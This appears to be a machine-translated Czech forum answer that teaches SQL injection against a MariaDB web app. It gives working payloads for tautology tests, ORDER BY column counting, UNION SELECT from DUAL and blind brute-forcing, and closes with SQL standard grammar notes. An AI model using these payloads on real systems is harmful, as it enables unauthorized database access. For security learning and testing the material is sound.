sql >> Databáze >  >> RDS >> Mysql

MariaDb SQL Injection

Dobře, tak se pobavíme.

Když se podívám na chybovou zprávu

Předpokládám, že dotaz a kód v aplikaci jsou víceméně takto pseudo moudré, @o je ve skutečnosti uživatelská proměnná MySQL..

SELECT
 *
FROM
 DUMMY_TABLE
WHERE
 DUMMY_TABLE.o = '",@o,"'
LIMIT 10 

Použiji SQL housle mezera simulovat SQL injection test a více získat možný přístup k dalším tabulkám.

Injekci můžete otestovat pomocí 1' OR 1 = 1# nebo 1' OR 1 = 1-- obojí by mělo fungovat a mělo by vám poskytnout stejný výsledek, když použijete 1 jako vstup. Je to proto, že MariaDB automaticky přenáší typy pro jiné databáze, které možná budete muset použít přísnější verzi 1' OR '1' = '1#

Což by mělo vygenerovat

SELECT * FROM DUMMY_TABLE WHERE DUMMY_TABLE.o = '1' OR 1 = 1#' LIMIT 10 

Nebo

SELECT * FROM DUMMY_TABLE WHERE DUMMY_TABLE.o = '1' OR 1 = 1--' LIMIT 10 

Potom, protože vidíte chyby v aplikaci, můžete použít ORDER BY 1 zkontrolujte, kolik sloupců je vybráno, a zvyšujte počet, dokud se nezobrazí chyba.

Chyba:ER_BAD_FIELD_ERROR:Neznámý sloupec '2' v 'klauzuli objednávky'

Vstříkněte pomocí

1' ORDER BY 1# nebo 1' ORDER BY 1--

Což znamená řadit podle prvního sloupce v sadě výsledků NE seřadit 1 doslovný.

Vygeneruje

SELECT * FROM DUMMY_TABLE WHERE DUMMY_TABLE.o = '1' ORDER BY 1#' LIMIT 10 

Nebo

SELECT * FROM DUMMY_TABLE WHERE DUMMY_TABLE.o = '1' ORDER BY 1--' LIMIT 10 

Když znáte sloupce, můžete použít UNION dostat se do jiných tabulek. Použijte NULL pokud nepotřebujete všechny sloupce.

injekce

1' UNION ALL SELECT NULL FROM DUAL#

Všimněte si, že DUAL je "virtuální" neexistující tabulka v MariaDB, MySQL a Oracle, pokud můžete dotazovat tuto "tabulku", znamená to, že se můžete technicky dostat i do jiných tabulek.

vygenerované SQL

SELECT * FROM DUMMY_TABLE WHERE DUMMY_TABLE.o = '1' UNION ALL SELECT NULL FROM DUAL#' LIMIT 10 

A pokud je webová stránka navržena jako "podrobná" stránka, kde je vždy viditelný jeden záznam, musíte přidat LIMIT 1, 1 ve vaší injekci.

Co když ve webové aplikaci nejsou vidět žádné chyby, měli byste být schopni slepě bruteforce geuss se slepými SQL injekcemi a vidět, jak aplikace funguje.
Zkuste také věci jako ?o=0 , ?o=NULL nebo velmi vysoká čísla, jako je maximální hodnota INT (podepsáno) ?o=2147483647 nebo (nepodepsané) ?o=4294967295 než se pokusíte hrubou silou použít číslo sloupce, abyste věděli, jak aplikace zachází se záznamy, které nelze najít. Protože je velmi nepravděpodobné, že bude mít id 0 nebo vysoká čísla na INT datový typ, protože aplikace přestane fungovat, pokud bylo zadáno poslední číslo. Pokud stále získáte záznam s těmito vysokými čísly, použijte maximální hodnoty pro BIGINT místo toho datový typ.

Pro sloupec 1 stejné id výsledku o=1
1' UNION ALL SELECT 1 FROM DUAL LIMIT 1, 1#

U sloupců 2, které budou chybové, ale většinou pravděpodobně uvidíte chybovou stránku nebo zprávu, že záznam nebyl nalezen.
Nebo sladký chybový stav HTTP 404 (Nenalezeno).
1' UNION ALL SELECT 1 FROM DUAL LIMIT 1, 1#

Při používání LIMIT můžete nastat jeden problém bez použití ORDER BY může být šance získat stejné záznamy, protože standard SQL definoval, že tabulky/soubory výsledků SQL jsou bez pořadí bez použití ORDER BY

V ideálním případě tedy musíte nadále používat ORDER BY 1 v bruteforces.

1' UNION ALL SELECT 1 FROM DUAL ORDER BY 1 DESC#

A

1' UNION ALL SELECT 1 FROM DUAL ORDER BY 1 DESC LIMIT 1, 1#

Databáze podporují ORDER BY 1 je lepší, než jsem si zpočátku myslel, protože to funguje v MySQL, MariaDB, SQL Server (MSSQL) a PostgreSQL.

Také ORDER BY 1 byla funkce SQL 92, která byla odstraněna v SQL 99.
Takže databáze SQL by ve skutečnosti neměly spouštět ORDER BY 1 pokud by se v tomto bodě řídili standardy SQL.

SQL 92 BNF

 <sort specification list> ::=
      <sort specification> [ { <comma> <sort specification> }... ]

 <sort specification> ::=
      <sort key> [ <collate clause > ] [ <ordering specification> ]


 <sort key> ::=
        <column name>
      | <unsigned integer> # <- here it is 

 <ordering specification> ::= ASC | DESC

vs SQL 1999 BNF

 <sort specification list> ::=
      <sort specification> [ { <comma> <sort specification> }... ]

 <sort specification> ::=
      <sort key> [ <collate clause > ] [ <ordering specification> ]


 <sort key> ::=
        <column name>
                        # <- missing

 <ordering specification> ::= ASC | DESC


  1. Jak mohu ZMĚNIT tabulku PostgreSQL a učinit sloupec jedinečným?

  2. Index je mimo hranice pole. (Microsoft.SqlServer.smo)

  3. Vlastní ORDER BY Vysvětlení

  4. Změna portu serveru postgres kontejnerů v Docker Compose